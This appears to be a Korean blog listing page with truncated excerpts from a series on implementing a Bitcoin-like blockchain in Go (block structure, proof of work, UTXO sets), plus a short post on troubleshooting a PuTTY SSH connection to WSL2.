이전 포스트와 비슷한 맥락에서, 이번엔 다른 개념을 사용하여 조금 더 최적화해보도록 하겠다. Block Structure 우선 Bitcoin의 블록 구조를 살펴보도록 하겠다. 블록은 크게 Header와 Body로 나누어 살펴볼 수 있다. 이 둘은 서로 정보를 비교하며 무결성을 높이게 된다. Bitcoin의 block body에는 Transaction이 담겨있다. 아래의 표는 Bitcoin의 block header 구조이다. Version 버전 Target Bits 작업 증명 난이도 Previous Block Hash 이전 블록의 해시 Time Stamp 블록 생성 시간 Merkle Root 트랜잭션 해시 값 Nonce 작업 증명을 위한 임의의 값 type Block struct { TimeStampint..

Go로 만드는 블록체인 part 6 - UTXO 집합 [내부링크]

지금까지는 BoltDB에 저장된 블록의 수가 그리 많지 않았다. UTXO를 계산할 때 모든 블록을 순회하며 확인하고 있는데, 지금은 문제가 없지만 만약 블록이 실제 비트코인만큼 존재한다면 엄청난 과부하를 피할 수 없을 것이다. 그래서 이번 포스트에서는 UTXO들만 따로 저장하여 계산하는 방식으로 개선해보도록 하겠다 UTXO란? Part 4에서도 다뤘었지만 한번 더 짚고 넘어가도록 하겠다. Unspent Transaction Output의 약자로, 소비되지 않은 Transaction의 출력이란 뜻이다. 이 UTXO를 새로운 chainstate라는 이름의 bucket을 생성하고 따로 저장해 줄 것이다. UTXO의 소유권 이동 원리 vin ScriptSig []byte // Unlock script 다른 사람..

Go로 만드는 블록체인 part 2 - Proof of Work [내부링크]

이번엔 작업증명(Proof of Work)을 추가해보겠다. 현 상황에서는 블록을 추가할 때 아무런 과정없이 그냥 추가할 수 있지만, 실제 블록체인에서는 합의 알고리즘을 통해 블록을 생성한다. 합의 알고리즘은 암호 화폐 네트워크의 무결성과 보안을 유지하기 위해 중요하다. 합의 알고리즘은 분산화된 각각의 노드들이 서로 누가 진짜인지 합의할 수 있게 한다. Consensus algorithm 합의 알고리즘 - 해시넷 합의 알고리즘(consensus algorithm)이란 다수의 참여자들이 통일된 의사결정을 하기 위해 사용하는 알고리즘을 말한다. 합의 모델, 합의 방식, 합의 메커니즘 또는 합의 프로토콜이라고도 한다. 블록 wiki.hash.kr 작업 증명은 새로운 블록을 블록체인에 추가하는 ‘작업’을 완료했음..

WSL2 - putty로 SSH 연결하기 [내부링크]

WSL2를 활용하여 작업하던 중 갑자기 작업표시줄에 있는 putty가 보여 ssh로 접속해보고 싶단 생각이 들었다. 시도해봤더니 위와 같이 에러를 던졌다. ssh 서비스가 작동하고 있지 않는 것 같아서 우선 설치 유무부터 확인해주었다. 다행히도 설치가 되어있었다. 위 명령어를 통해 ssh가 실행되고 있지 않음을 확인하고, 서비스를 시작하려 했으나 이렇게 host key가 없다며 종료되었다. 해당 문구를 구글링해보니 거의 최상단에서 바로 해답을 찾을 수 있었다. https://www.garron.me/en/linux/sshd-no-hostkeys-available-exiting.html sshd: no hostkeys available -- exiting sshd: no hostkeys available ..

Go로 만드는 블록체인 part 1 - Base of Blockchain [내부링크]

이제 본격적으로 GO를 이용하여 암호화폐를 구현해볼 것이다. Type block, blockchain block과 blockchain의 type을 선언하겠다. type block struct { timeStamp int64 `validate:"required"` hash string `validate:"required"` prevHash string `validate:"required"` data string `validate:"required"` } type blockchain struct { blocks []*block } time stamp hash previous hash data 초기 단계에서의 블록은 위와 같은 요소를 가진다. 이전 포스트에서 다룬 typescript로 구현해본 blockcha..

Go로 만드는 블록체인 part 0 [내부링크]

블록체인을 공부하기 위해 계획하던 중 블록체인을 직접 구현해보면 더 자세히 공부할 수 있겠다란 생각에 시작하게 된 가벼운 프로젝트이다. 무작정 시작하기 전 정보 수집을 위해 구글링을 하던 중 https://github.com/Jeiwan/blockchain_go를 발견하게 되었고, 주로 해당 Repo를 참고하며 진행하였다. GitHub - Jeiwan/blockchain_go: A simplified blockchain implementation in Golang A simplified blockchain implementation in Golang. Contribute to Jeiwan/blockchain_go development by creating an account on GitHub. githu..